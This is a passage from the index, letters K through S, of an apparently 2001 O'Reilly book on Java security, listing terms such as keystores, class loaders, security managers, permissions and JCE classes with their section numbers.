D.5. Package javax.crypto
Sun security provider: 13.2. The Sun Security Provider in the JCE
symmetric key agreements: 13.7. Symmetric Key Agreement
JVM (see virtual machine)

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z
Library Navigation Links

Copyright © 2001 O'Reilly & Associates, Inc. All Rights Reserved.


Index: K

key database: 1.3.1. Anatomy of a Java Application
key entries (keystores): 11.2. The KeyStore Class
A.1. The keytool
adding to database: A.1.3. Adding a Key Entry
deleting: A.1.5. Deleting Keystore Entries
DNs for: A.1. The keytool
examining: A.1.6. Examining Keystore Data
modifying: A.1.4. Modifying Keystore Entries
passwords for: A.1.1. Global Options to keytool
A.1.4. Modifying Keystore Entries
-keyalg option (keytool): A.1.3. Adding a Key Entry
-keyclone option (keystore): A.1.4. Modifying Keystore Entries
-keypass option (jarsigner): A.2.1. Creating a Signed JAR File
-keypass option (keytool): A.1.1. Global Options to keytool
-keypasswd option (keystore): A.1.4. Modifying Keystore Entries
keys, cryptographic: 7.3.2. Cryptographic Keys
10. Keys and Certificates
10.4. Certificates
(see also certificates)
DSA keys: 10.1.1.1. DSA keys
10.2.2. Generating DSA Keys
encoding: 10.1.1. The Key Interface
10.3.3.1. The EncodedKeySpec class
engines for: 10. Keys and Certificates
generating key pairs: 10.2. The KeyPairGenerator Class
A.1.3. Adding a Key Entry
identities: B.1. Identities
Identity class: B.1.1. The Identity Class
IdentityScope class: B.2. Identity Scopes
implementing key pair generator: 10.2.3. Implementing a Key Pair Generator
importing/exporting: 10.3. The KeyFactory Class
13.4.2.1. Secret key specifications
including with digital signatures: 12.1.3. Signing and Certificates
JCE key types: 13.3. Key Types in the JCE
key factories: D.1. Package java.security
example of: 10.3.4. A Key Factory Example
KeyFactory class: 10.3. The KeyFactory Class
KeyFactorySpi class: 10.3.2. Implementing a Key Factory
SecretKeyFactory class: 13.2. The Sun Security Provider in the JCE
13.4.2. The SecretKeyFactory Class
D.5. Package javax.crypto
Key interface: 10.1.1. The Key Interface
13.3.1. Secret Keys
D.1. Package java.security
KeyAgreement class: 13.2. The Sun Security Provider in the JCE
13.2. The Sun Security Provider in the JCE
13.7. Symmetric Key Agreement
D.5. Package javax.crypto
KeyAgreementSpi class: D.5. Package javax.crypto
KeyFactory class: D.1. Package java.security
KeyFactorySpi class: D.1. Package java.security
KeyGenerator class: 13.2. The Sun Security Provider in the JCE
13.4.1. The KeyGenerator Class
D.5. Package javax.crypto
KeyGeneratorSpi class: D.5. Package javax.crypto
KeyPair class: 10.1.2. The KeyPair Class
D.1. Package java.security
KeyPairGenerator class: 10.2. The KeyPairGenerator Class
D.1. Package java.security
implementing: 10.2.3. Implementing a Key Pair Generator
KeyPairGeneratorSpi class: D.1. Package java.security
KeySpec interface: 10.3.3. Key Specifications
D.4. Package java.security.spec
KeyStore class: 11.2. The KeyStore Class
managing: 11. Key Management
11.2. The KeyStore Class
in identity scopes: B.3. Key Management in an Identity Scope
Principle interface: 11.1.1. Principals
public/private key pairs: 7.3.2. Cryptographic Keys
secret keys: 7.3.2. Cryptographic Keys
13.3.1. Secret Keys
engines for: 13.4. Secret Key Engines
SecretKey class: D.5. Package javax.crypto
SecretKeyFactory class: 13.2. The Sun Security Provider in the JCE
13.2. The Sun Security Provider in the JCE
13.4.2. The SecretKeyFactory Class
D.5. Package javax.crypto
SecretKeyFactorySpi class: 13.4.2.2. The secret key factory SPI
D.5. Package javax.crypto
serialization and: 10.5. Keys, Certificates, and Object Serialization
Signer class: B.1.2. Signers
B.3.2. Implementing a Signer Class
D.1. Package java.security
strength: 10.2.1. Using the KeyPairGenerator Class
11.3. A Key Management Example
symmetric key agreements: 13.7. Symmetric Key Agreement
usage extension: 10.4.4. Advanced X509Certificate Methods
-keysize option (keytool): A.1.3. Adding a Key Entry
keystore entry (policy file): 5.3.1. The Default Policy
-keystore option (jarsigner): A.2.1. Creating a Signed JAR File
-keystore option (keytool): A.1.1. Global Options to keytool
keystores: 11.1. Overview of Key Management
11.2. The KeyStore Class
A.1. The keytool
administrative interface to (keytool): A.1. The keytool
aliases for entries in: A.1. The keytool
deleting entries in: A.1.5. Deleting Keystore Entries
DNs for entries in: A.1. The keytool
encrypting: 11.2. The KeyStore Class
entries of: 11.2. The KeyStore Class
11.2. The KeyStore Class
entry passwords: A.1.1. Global Options to keytool
entry types: A.1. The keytool
examining data in: A.1.6. Examining Keystore Data
importing entries into: A.1.2. Adding a Certificate Entry
in JAR file: 11.2. The KeyStore Class
KeyStore class: D.1. Package java.security
managing certificate entries with policytool: A.3.3. Managing Certificate Entries
modifying entries in: A.1.4. Modifying Keystore Entries
password for: A.1.1. Global Options to keytool
A.1.8. Miscellaneous Commands
sharing by files: 11.3. A Key Management Example
specifying in policy files: 5.3.1. The Default Policy
keytool utility: 11.1. Overview of Key Management
11.2. The KeyStore Class
11.3. A Key Management Example
A.1. The keytool

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z
Library Navigation Links

Copyright © 2001 O'Reilly & Associates, Inc. All Rights Reserved.


Index: L

Launcher application (example): 1.4.2. Built-in Java Application Security
6.4.2. The Secure Java Launcher
Launcher class: 1.4.2. Built-in Java Application Security
laws regarding encryption: 13.1. Export Restrictions
length, message digest: 9.1. Using the Message Digest Class
9.3. Implementing a MessageDigest Class
-list option (keystore): A.1.6. Examining Keystore Data
load( ), KeyStore class: 11.2. The KeyStore Class
11.3. A Key Management Example
loadClass( ): 3.3. Loading Classes
3.4.1.1. Protected methods in the ClassLoader class
calling checkPackageAccess( ): 3.4.3. Implementing Security Policies in the Class Loader
loadClassBytes( ) (example): 3.5.2. A JAR File Class Loader
loading classes: 3.2. Anatomy of a Class Loader
3.3. Loading Classes
3.3. Loading Classes
6.2.1. The Class Loader and the Security Manager
caching loaded classes: 3.4.1.1. Protected methods in the ClassLoader class
delegation model: 3.6.1. Delegation
from JAR files: 3.5.2. A JAR File Class Loader
from multiple sites: 3.5.1. Loading from Multiple Sites
from URLs: 3.2.5. The URL Class Loader
loading resources: 3.6.2. Loading Resources

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z
Library Navigation Links

Copyright © 2001 O'Reilly & Associates, Inc. All Rights Reserved.


Index: M

machine properties, access to: 4.3.6. Methods Protecting System Resources
MACs (Message Authentication Codes): 9.1.1. Secure Message Digests
manifest for signed JAR files: 12.2.1. Reading Signed JAR Files
markSupported( ), CipherOutputStream class: 13.6.2. The CipherInputStream Class
memory
caching loaded classes: 3.4.1.1. Protected methods in the ClassLoader class
casting illegally: 2.1. Java Language Security Constructs
2.1. Java Language Security Constructs
2.1. Java Language Security Constructs
2.2.1. Compiler Enforcement
2.2.3. Runtime Enforcement
integrity: 2.1. Java Language Security Constructs
2.1.1. Object Serialization and Memory Integrity
Message Authentication Codes (MACs): 9.1.1. Secure Message Digests
message digests: 7.3.1. Message Digests
7.3.3. Digital Signatures
8.1. The Architecture of Security Providers
9. Message Digests
creating engine for: 9.3. Implementing a MessageDigest Class
encrypting: 9.1.1. Secure Message Digests
filter streams for: D.1. Package java.security
input/output streams: 9.2. Message Digest Streams
MessageDigest class: D.1. Package java.security
MessageDigestSpi class: D.1. Package java.security
verifying: 9.1. Using the Message Digest Class
MessageDigest class: 9. Message Digests
implementing: 9.3. Implementing a MessageDigest Class
Signature class vs.: 12.1.1. Using the Signature Class
modes, encryption: 13.5. Encrypting Data
modifiers for access levels: 2.1. Java Language Security Constructs
multicast sockets, permissions for: 5.2.2. Permissions of the Java API
6.3.6. Establishing a Security Policy in 1.2
D.8. Miscellaneous Packages
multiple-DES: 13.5.2. Cipher Algorithms

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z
Library Navigation Links

Copyright © 2001 O'Reilly & Associates, Inc. All Rights Reserved.


Index: N

names
cryptographic algorithms and engines: 8.1.1. Components of the Architecture
DNs (distinguished names): 11.1.1. Principals
keystore entry aliases: 11.2. The KeyStore Class
of permissions: 5.2.1. The Permission Class
5.2.1. The Permission Class
(see also specific permission type)
socket permissions: 5.2.2. Permissions of the Java API
namespaces, class loaders and: 3.1.2. Class Loaders and Namespaces
NetPermission class: 5.2.2. Permissions of the Java API
6.3.6. Establishing a Security Policy in 1.2
D.8. Miscellaneous Packages
network-access methods, security manager: 4.3.3. Methods Relating to Network Access
networking
implementing access: 6.3.2. Implementing Network Access
network-level security: 7.1.3. Java's Role in Authentication
permissions in class loader: 6.3.3. Network Permissions in the Class Loader
security policy for: 6.3.7.4. Implementing network, thread, and package access
services and applets: 4.3.3. Methods Relating to Network Access
socket permissions: 5.2.2. Permissions of the Java API
5.2.2. Permissions of the Java API
6.3.6. Establishing a Security Policy in 1.2
6.3.6. Establishing a Security Policy in 1.2
D.8. Miscellaneous Packages
D.8. Miscellaneous Packages
newInstance( ) (Class class): 3.3. Loading Classes
newPermissionCollection( ): 5.2.3. Using the Permission Class
5.2.5. Permission Collections
nit( ), Cipher class: 13.5.3. Implementing the Cipher Class
nitSign( ), Signature class: 12.3. Implementing a Signature Class
nitVerify( ), Signature class: 12.3. Implementing a Signature Class
NoPadding scheme: 13.5. Encrypting Data
-noprompt option (keytool): A.1.2. Adding a Certificate Entry
null security managers: 6.3.7.2. A complete 1.1 security manager
NullCipher class: 13.5.1. Using the Cipher Class
D.5. Package javax.crypto
NullSecurityManager class: 6.3.7.2. A complete 1.1 security manager

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z
Library Navigation Links

Copyright © 2001 O'Reilly & Associates, Inc. All Rights Reserved.


Index: O

objects
casting illegally: 2.1. Java Language Security Constructs
2.1. Java Language Security Constructs
Java compiler and: 2.2.1. Compiler Enforcement
virtual machine and: 2.1. Java Language Security Constructs
2.2.3. Runtime Enforcement
guarded: 5.6. Guarded Objects
serialization: 2.1.1. Object Serialization and Memory Integrity
state of: 2.1.1. Object Serialization and Memory Integrity
OFB encryption mode: 13.5. Encrypting Data
on( )
DigestInputStream class: 9.2.2. The DigestInputStream Class
DigestOutputStream class: 9.2.1. The DigestOutputStream Class
operating system, security and: 1.4. Running a Java Application
OU (organizational unit): 11.1.1. Principals
output-feedback encryption mode: 13.5. Encrypting Data
output streams
cipher streams: 13.6.1. The CipherOutputStream Class
D.5. Package javax.crypto
DigestOutputStream class: D.1. Package java.security
message digest: 9.2.1. The DigestOutputStream Class

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z
Library Navigation Links

Copyright © 2001 O'Reilly & Associates, Inc. All Rights Reserved.


Index: P

package (default) access level: 2.1. Java Language Security Constructs
packages
access to: 4.3.7. Methods Protecting Security Aspects
6.3.5. Implementing Package Access
classes of the same: 3.1.2. Class Loaders and Namespaces
defining classes in: 3.4.3. Implementing Security Policies in the Class Loader
security policy for: 6.3.7.4. Implementing network, thread, and package access
padding schemes: 13.5. Encrypting Data
13.5. Encrypting Data
13.6.1. The CipherOutputStream Class
pairs of cryptographic keys: 7.3.2. Cryptographic Keys
DSAKeyPairGenerator interface: D.3. Package java.security.interfaces
DSAPrivateKey, DSAPublicKey interfaces: 10.1.1.1. DSA keys
D.3. Package java.security.interfaces
D.3. Package java.security.interfaces
DSAPublicKeySpec, DSAPrivateKeySpec classes: 10.3.3.2. The AlgorithmParameterSpec interface
D.4. Package java.security.spec
factories (see keys, cryptographic; key factories)
key pair generators: 10.2. The KeyPairGenerator Class
implementing: 10.2.3. Implementing a Key Pair Generator
KeyPair class: 10.1.2. The KeyPair Class
D.1. Package java.security
KeyPairGenerator class: D.1. Package java.security
KeyPairGeneratorSpi class: D.1. Package java.security
symmetric key agreements: 13.7. Symmetric Key Agreement
passwords
for keystore entries: A.1.1. Global Options to keytool
A.1.4. Modifying Keystore Entries
for keystores: 11.2. The KeyStore Class
11.3. A Key Management Example
A.1.1. Global Options to keytool
A.1.8. Miscellaneous Commands
for message digests: 9.1.1. Secure Message Digests
patents on encryption technologies: 13.1. Export Restrictions
PBEKeySpec class: 13.4.2.1. Secret key specifications
D.7. Package javax.crypto.spec
PBEParameterSpec class: 13.4.2.1. Secret key specifications
D.7. Package javax.crypto.spec
PBEWithMD5AndDES algorithm: 13.5.2. Cipher Algorithms
PCBC encryption mode: 13.5. Encrypting Data
performance
delayed bytecode verification: 2.2.2.2. Delayed bytecode verification
JAR files: 3.5.2. A JAR File Class Loader
Permission( ), Permission class: 5.2.3. Using the Permission Class
permissions: 5.2. Permissions
5.2. Permissions
(see also access controller)
BasicPermission class: 5.2.4. The BasicPermission Class
codebase, managing: A.3.2. Managing Permissions
granting all: 5.2.2. Permissions of the Java API
guarded objects: 5.6. Guarded Objects
Java API: 5.2.2. Permissions of the Java API
Java properties: 5.2.2. Permissions of the Java API
D.8. Miscellaneous Packages
Java runtime: 5.2.2. Permissions of the Java API
6.3.6. Establishing a Security Policy in 1.2
D.8. Miscellaneous Packages
network permissions in class loader: 6.3.3. Network Permissions in the Class Loader
networking: 5.2.2. Permissions of the Java API
6.3.6. Establishing a Security Policy in 1.2
D.8. Miscellaneous Packages
packages: 6.3.5. Implementing Package Access
Permission class: 5.2. Permissions
D.1. Package java.security
guarded objects and: 5.6. Guarded Objects
how to use: 5.2.3. Using the Permission Class
permission collections: 5.2.5. Permission Collections
PermissionCollection class: 5.2.5. Permission Collections
D.1. Package java.security
Permissions class: 5.2.6. The Permissions Class
protection domains: 5.4. Protection Domains
5.4. Protection Domains
resolving external: 5.2.2. Permissions of the Java API
SecurityManager methods and: 6.3.6. Establishing a Security Policy in 1.2
serialization: 5.2.2. Permissions of the Java API
D.8. Miscellaneous Packages
sockets: 5.2.2. Permissions of the Java API
6.3.6. Establishing a Security Policy in 1.2
D.8. Miscellaneous Packages
specifying for code sources (see security policy)
threads: 6.3.4. Implementing Thread Security
windowing resources: 5.2.2. Permissions of the Java API
Permissions class: D.1. Package java.security
PKCS7 block files: 12.2.1. Reading Signed JAR Files
PKCS8EncodedKeySpec class: 10.3.3.1. The EncodedKeySpec class
D.4. Package java.security.spec
PKCS5Padding scheme: 13.5. Encrypting Data
Policy class: 5.3. The Policy Class
D.1. Package java.security
policy codebases
managing with policytool: A.3.1. Managing Policy Codebases
permissions: A.3.2. Managing Permissions
policy entries: 5.3.1. The Default Policy
PolicyFile class: 5.3. The Policy Class
policytool tool: A.3. The policytool
policy.url.# properties: 5.3.1. The Default Policy
ports in socket permission names: 5.2.2. Permissions of the Java API
primordial class loader: 3.2.1. The Internal Class Loader
Principal interface: D.1. Package java.security
principals: 11.1.1. Principals
Principle interface: 11.1.1. Principals
-printcert option (keystore): A.1.6. Examining Keystore Data
printing
certificates: A.1.6. Examining Keystore Data
permissions: 5.2.3. Using the Permission Class
printer access: 4.3.6. Methods Protecting System Resources
priority, thread: 2.1. Java Language Security Constructs
privacy, snooping: 7.1.2. Data Authentication
private access level: 2.1. Java Language Security Constructs
private cryptographic keys: 7.3.2. Cryptographic Keys
DHPrivateKeySpec class: 13.4.2.1. Secret key specifications
DSAPrivateKey interface: 10.1.1.1. DSA keys
D.3. Package java.security.interfaces
D.3. Package java.security.interfaces
DSAPrivateKeySpec class: 10.3.3.2. The AlgorithmParameterSpec interface
D.4. Package java.security.spec
encrypting: 11.3. A Key Management Example
generating: 10.2. The KeyPairGenerator Class
importing: 10.3.1. Using the KeyFactory class
JCE interfaces for: 13.3. Key Types in the JCE
D.6. Package javax.crypto.interfaces
PrivateKey interface: 10.1.1. The Key Interface
D.1. Package java.security
RSAPrivateKey interface: D.3. Package java.security.interfaces
RSAPrivateKeySpec class: 13.4.2.1. Secret key specifications
D.4. Package java.security.spec
signers: B.1.2. Signers
B.3.2. Implementing a Signer Class
D.1. Package java.security
symmetric key agreements: 13.7. Symmetric Key Agreement
private identity scopes: B.3.3. A Shared System Identity Scope
programs: 1.3. Applications, Applets, and Programs
bytecode verification: 1.3.1. Anatomy of a Java Application
2.2.2. The Bytecode Verifier
cancelling: 2.2.2.3. Controlling bytecode verification
delayed: 2.2.2.2. Delayed bytecode verification
element access levels: 2.1. Java Language Security Constructs
enforcing Java language rules: 2.2. Enforcement of the Java Language Rules
propagating cipher block chaining mode: 13.5. Encrypting Data
properties
access to: 4.3.6. Methods Protecting System Resources
permissions for: 5.2.2. Permissions of the Java API
D.8. Miscellaneous Packages
PropertyPermission class: 5.2.2. Permissions of the Java API
D.8. Miscellaneous Packages
substitution for: 5.3. The Policy Class
properties, provider: 8.2.2. Implementing the Provider Class
protected access level: 2.1. Java Language Security Constructs
protection domains: 5.4. Protection Domains
network permissions in: 6.3.3. Network Permissions in the Class Loader
ProtectionDomain class: 5.4. Protection Domains
D.1. Package java.security
protocols and class loaders: 3.5. Extensions to the Class Loader
Provider class: 8.1.1. Components of the Architecture
8.2. The Provider Class
D.1. Package java.security
providers (see security providers)
proxy services: 4.3.3. Methods Relating to Network Access
public access level: 2.1. Java Language Security Constructs
final variables and: 2.1. Java Language Security Constructs
public identity scope: B.3.3. A Shared System Identity Scope
public key encryption: 7.3.2. Cryptographic Keys
certificates (see certificates)
DHPublicKeySpec class: 13.4.2.1. Secret key specifications
D.7. Package javax.crypto.spec
DSAPublicKey interface: 10.1.1.1. DSA keys
D.3. Package java.security.interfaces
D.3. Package java.security.interfaces
DSAPublicKeySpec class: 10.3.3.2. The AlgorithmParameterSpec interface
D.4. Package java.security.spec
generated public keys: 10.2. The KeyPairGenerator Class
generating public keys: 10.3.2. Implementing a Key Factory
Identity class: B.1.1. The Identity Class
importing public keys: 10.3.1. Using the KeyFactory class
including key with signatures: 12.1.3. Signing and Certificates
JCE interfaces for public keys: 13.3. Key Types in the JCE
D.6. Package javax.crypto.interfaces
PublicKey class: D.1. Package java.security
PublicKey interface: 10.1.1. The Key Interface
RSAPublicKey interface: D.7. Package javax.crypto.spec
RSAPublicKeySpec class: 13.4.2.1. Secret key specifications
D.4. Package java.security.spec
symmetric key agreements: 13.7. Symmetric Key Agreement

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z
Library Navigation Links

Copyright © 2001 O'Reilly & Associates, Inc. All Rights Reserved.


Index: R

random numbers: D.1. Package java.security
readExternal( ), Externalizable interface: 2.1.1. Object Serialization and Memory Integrity
reading files: 4.3.2. Methods Relating to File Access
reading private data: 7.1.2. Data Authentication
reading signed JAR files: 12.2.1. Reading Signed JAR Files
readJarFile( ) (example): 3.5.2. A JAR File Class Loader
readObject( ): 2.1.1. Object Serialization and Memory Integrity
reflection API: 1.4.1. Outline of the JavaRunner Application
constructing classes with: 3.3. Loading Classes
permission to set accessible flag: 5.2.2. Permissions of the Java API
D.8. Miscellaneous Packages
ReflectPermission class: 5.2.2. Permissions of the Java API
D.8. Miscellaneous Packages
refresh( ), Policy class: 5.3. The Policy Class
removeCertificate( ), Identity class: B.1.1.1. Using the identity class
B.1.1.3. The Identity class and the security manager
removeIdentity( ), IdentityScope class: B.2.1. Using the IdentityScope Class
B.2.3. IdentityScope and the Security Manager
reset( ), MessageDigest class: 9.1. Using the Message Digest Class
resetting message digests: 9.1. Using the Message Digest Class
9.3. Implementing a MessageDigest Class
resolveClass( ): 3.4.1.1. Protected methods in the ClassLoader class
resolving classes: 3.2. Anatomy of a Class Loader
3.4.1.1. Protected methods in the ClassLoader class
resources (see system resources)
resources for further reading: C. Security Resources
restrictions on encryption: 13.1. Export Restrictions
revoked certificates: 10.4.5. Revoked Certificates
D.2. Package java.security.cert
D.2. Package java.security.cert
RevokedCertificate class: D.2. Package java.security.cert
D.2. Package java.security.cert
RMI class loaders: 3.2.3. The RMI Class Loader
3.2.6. Choosing the Right Class Loader
D.8. Miscellaneous Packages
RMI security manager: 6.3.7.1. The RMI security manager
RMIClassLoader class: 3.2.3. The RMI Class Loader
3.2.6. Choosing the Right Class Loader
D.8. Miscellaneous Packages
RMISecurityManager class: 6.3.7.1. The RMI security manager
D.8. Miscellaneous Packages
RSA encryption: 13.6.3. SSL Encryption
RSAPrivateKeyCrtSpec class: 13.4.2.1. Secret key specifications
RSAPrivateKeySpec class: 13.4.2.1. Secret key specifications
D.4. Package java.security.spec
RSAPublicKey interface: D.7. Package javax.crypto.spec
RSAPublicKeySpec class: 13.4.2.1. Secret key specifications
D.4. Package java.security.spec
running Java applications: 1.4. Running a Java Application
JavaRunner for (example): 1.4. Running a Java Application
Launcher for (example): 1.4.2. Built-in Java Application Security
runtime bytecode verification: 2.2.3. Runtime Enforcement
RuntimePermission class: 5.2.2. Permissions of the Java API
6.3.6. Establishing a Security Policy in 1.2
D.8. Miscellaneous Packages

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z
Library Navigation Links

Copyright © 2001 O'Reilly & Associates, Inc. All Rights Reserved.


Index: S

sandboxes
description of sandbox model: 1.2. The Java Sandbox
signed classes and: 12.2. Signed Classes
specifying as application argument: 1.4.2. Built-in Java Application Security
sealed classes: 13.8. Sealed Objects
D.5. Package javax.crypto
SealedObject class: 13.8. Sealed Objects
D.5. Package javax.crypto
secret keys: 7.3.2. Cryptographic Keys
13.3.1. Secret Keys
engines for: 13.4. Secret Key Engines
KeyGenerator class: 13.2. The Sun Security Provider in the JCE
13.4.1. The KeyGenerator Class
D.5. Package javax.crypto
KeyGeneratorSpi class: D.5. Package javax.crypto
SecretKey class: D.5. Package javax.crypto
SecretKeyFactory class: 13.2. The Sun Security Provider in the JCE
13.2. The Sun Security Provider in the JCE
13.4.2. The SecretKeyFactory Class
D.5. Package javax.crypto
SecretKeyFactorySpi class: 13.4.2.2. The secret key factory SPI
D.5. Package javax.crypto
secure message digests: 9.1.1. Secure Message Digests
Secure Socket Layer (SSL): 7.1.3. Java's Role in Authentication
13.6.3. SSL Encryption
SecureClassLoader class: 3.2.4. The Secure Class Loader
5.1. The CodeSource Class
D.1. Package java.security
implementing: 3.4.2. Implementing the SecureClassLoader Class
SecureRandom class: D.1. Package java.security
security
aspects of, protecting: 4.3.7. Methods Protecting Security Aspects
bugs: C.1. Security Bugs
built into applications: 1.4.2. Built-in Java Application Security
class loaders and: 3.1. Security and the Class Loader
cryptography (see cryptography)
definition of: 1.1. What Is Security?
encryption exportation laws: 13.1. Export Restrictions
enforcing Java language rules: 2.2. Enforcement of the Java Language Rules
engines for (see engines, security)
file access: 4.3.2. Methods Relating to File Access
jarsigner tool: A.2. The jarsigner Tool
Java language constructs for: 2.1. Java Language Security Constructs
java.policy files, administering by hand: A.4.2. The java.policy File
java.security file: 5.3.1. The Default Policy
administering by hand: A.4.1. The java.security File
code of (Java 1.2): 5.3.1. The Default Policy
keys (see key, cryptographic)
keytool utility: A.1. The keytool
object serialization and: 2.1.1. Object Serialization and Memory Integrity
operating system and: 1.4. Running a Java Application
policytool tool: A.3. The policytool
protection domains: 5.4. Protection Domains
resources for further reading: C. Security Resources
threats to (see threats)
Security class: 8.1.1. Components of the Architecture
8.3. The Security Class
D.1. Package java.security
security manager and: 8.3.1. The Security Class and the Security Manager
security exceptions: 4.1.1. Security Managers and the Java API
4.1.1. Security Managers and the Java API
security managers: 1.3.1. Anatomy of a Java Application
4.1. Overview of the Security Manager
access controller and: 5. The Access Controller
6.3.6. Establishing a Security Policy in 1.2
asking information of/for class loader: 6.2. Security Managers and the Class Loader
class loaders and: 3.1.1. Class Loaders and Security Enforcement
3.2. Anatomy of a Class Loader
custom, when to write: 6. Implementing Security Policies
file-access methods: 4.3.2. Methods Relating to File Access
Identity class and: B.1.1.3. The Identity class and the security manager
identity scopes and: B.2.3. IdentityScope and the Security Manager
Java API and: 4.1.1. Security Managers and the Java API
JavaRunner program with (example): 6.4.1. The Secure JavaRunner Program
network-access methods: 4.3.3. Methods Relating to Network Access
null: 6.3.7.2. A complete 1.1 security manager
protected instance variables: 6.1.2. Protected Instance Variables in the Security Manager
protected methods of: 6.1. Protected Methods of the Security Manager
protecting JVM: 4.3.4. Methods Protecting the Java Virtual Machine
protecting security aspects: 4.3.7. Methods Protecting Security Aspects
protecting system resources: 4.3.6. Methods Protecting System Resources
protecting threads: 4.3.5. Methods Protecting Program Threads
for RMI server: 6.3.7.1. The RMI security manager
RMISecurityManager class: 6.3.7.1. The RMI security manager
D.8. Miscellaneous Packages
Security class and: 8.3.1. The Security Class and the Security Manager
setting: 4.3.1. Setting a Security Manager
signed JAR files and: 12.2.2. The Signed JAR File and Security Policies
signers and: B.1.2.3. Signers and the security manager
testing: 6.1.1. The Class Loader Depth
trusted vs. untrusted classes: 4.2. Trusted and Untrusted Classes
security package (java.security): 1.3.1. Anatomy of a Java Application
permissions to use: 5.2.2. Permissions of the Java API
quick reference: D.1. Package java.security
security providers and: 8.1.1. Components of the Architecture
security policy: 5.3. The Policy Class
default: 5.3.1. The Default Policy
6.3.6. Establishing a Security Policy in 1.2
for file acces methods: 6.3.7.3. Implementing the file access methods
implementing from threads: 6.3.4. Implementing Thread Security
implementing in class loader: 3.4.3. Implementing Security Policies in the Class Loader
implementing network access: 6.3.2. Implementing Network Access
in Java 1.2: 6.3.6. Establishing a Security Policy in 1.2
JavaRunner program and (example): 6.4.1. The Secure JavaRunner Program
Launcher application and (example): 6.4.2. The Secure Java Launcher
for networks, threads, packages: 6.3.7.4. Implementing network, thread, and package access
operating system and: 1.4. Running a Java Application
package access: 6.3.5. Implementing Package Access
Policy class: D.1. Package java.security
policy entries: 5.3.1. The Default Policy
PolicyFile class: 5.3. The Policy Class
reading from URLs: 5.3.1. The Default Policy
setting the security manager: 4.3.1. Setting a Security Manager
signed JAR files: 12.2.2. The Signed JAR File and Security Policies
utility classes for implementing: 6.3.1. Utility Classes
security providers: 8. Security Providers
adding: 8.1.2. Choosing a Security Provider
8.3. The Security Class
architecture of: 8.1. The Architecture of Security Providers
interface for (SPI): 8.4. The Architecture of Engine Classes
java.security and: 8.1.1. Components of the Architecture
for keystore objects: 11.3. A Key Management Example
listing for virtual machine: 8.3. The Security Class
properties (associations) for: 8.2.2. Implementing the Provider Class
Provider class: 8.1.1. Components of the Architecture
8.2. The Provider Class
D.1. Package java.security
Sun JCE: 13.2. The Sun Security Provider in the JCE
third-party, list of: C.2. Third-Party Security Providers
translate keys between: 10.3.1. Using the KeyFactory class
SecurityException class: 4.1.1. Security Managers and the Java API
4.1.1. Security Managers and the Java API
SecurityManager class: 4.1.1. Security Managers and the Java API
6.3.6. Establishing a Security Policy in 1.2
D.8. Miscellaneous Packages
implementing in Java 1.2: 6.3.6. Establishing a Security Policy in 1.2
RMISecurityManager class: 6.3.7.1. The RMI security manager
D.8. Miscellaneous Packages
SecurityPermission class: 5.2.2. Permissions of the Java API
D.1. Package java.security
-selfcert option (keystore): A.1.4. Modifying Keystore Entries
Serializable interface: 2.1.1. Object Serialization and Memory Integrity
serialization: 2.1.1. Object Serialization and Memory Integrity
10.5. Keys, Certificates, and Object Serialization
permissions for: 5.2.2. Permissions of the Java API
D.8. Miscellaneous Packages
SerializablePermission class: 5.2.2. Permissions of the Java API
D.8. Miscellaneous Packages
X509 certificates and: 12.1.3. Signing and Certificates
server sockets: 4.3.3. Methods Relating to Network Access
setCertificateEntry( ), KeyStore class: 11.2. The KeyStore Class
setInfo( ), Identity class: B.1.1.1. Using the identity class
B.1.1.3. The Identity class and the security manager
setKeyPair( ), Signer class: B.1.2.1. Using the Signer class
setParameter( ), Signature class: 12.1.1. Using the Signature Class
setPolicy( ), Policy class: 5.3. The Policy Class
setPriority( ), Thread class: 2.1. Java Language Security Constructs
setPublicKey( ), Identity class: B.1.1.1. Using the identity class
B.1.1.3. The Identity class and the security manager
setSecurityManager( ), SecurityManager class: 4.3.1. Setting a Security Manager
setSystemScope( ), IdentityScope class: B.2.3. IdentityScope and the Security Manager
setting the security manager: 4.3.1. Setting a Security Manager
.SF filename extension: 12.2.1. Reading Signed JAR Files
shared identity scope: B.3.3. A Shared System Identity Scope
sharing keystores: 11.3. A Key Management Example
-sigalg option (keytool): A.1.3. Adding a Key Entry
A.1.3. Adding a Key Entry
-sigfile option (jarsigner): A.2.1. Creating a Signed JAR File
sign( ), Signature class: 12.1.1. Using the Signature Class
12.1.1. Using the Signature Class
Signature class: 12.1. The Signature Class
D.1. Package java.security
implementing: 12.3. Implementing a Signature Class
MessageDigest class vs.: 12.1.1. Using the Signature Class
signature files: 12.2.1. Reading Signed JAR Files
signatures (see digital signatures)
SignatureSpi class: D.1. Package java.security
signed classes: 12.2. Signed Classes
signed JAR files
reading: 12.2.1. Reading Signed JAR Files
security policy and: 12.2.2. The Signed JAR File and Security Policies
signedBy entry (policy file): 5.3.1. The Default Policy
-signedjar option (jarsigner): A.2.1. Creating a Signed JAR File
SignedObject class: 12.1.2. The SignedObject Class
D.1. Package java.security
Signer class: B.1.2. Signers
B.3.2. Implementing a Signer Class
D.1. Package java.security
signer entry (policy file): 5.3.1. The Default Policy
SIGNER.DSA file: A.2. The jarsigner Tool
SIGNER.SF file: A.2. The jarsigner Tool
signing JAR files: A.2.1. Creating a Signed JAR File
size( )
IdentityScope class: B.2.1. Using the IdentityScope Class
KeyStore class: 11.2. The KeyStore Class
snooping: 7.1.2. Data Authentication
socket factories: 4.3.3. Methods Relating to Network Access
4.3.3. Methods Relating to Network Access
sockets: 4.3.3. Methods Relating to Network Access
multicast, permissions for: 5.2.2. Permissions of the Java API
6.3.6. Establishing a Security Policy in 1.2
D.8. Miscellaneous Packages
permissions for: 5.2.2. Permissions of the Java API
6.3.6. Establishing a Security Policy in 1.2
D.8. Miscellaneous Packages
SocketPermission class: 5.2.2. Permissions of the Java API
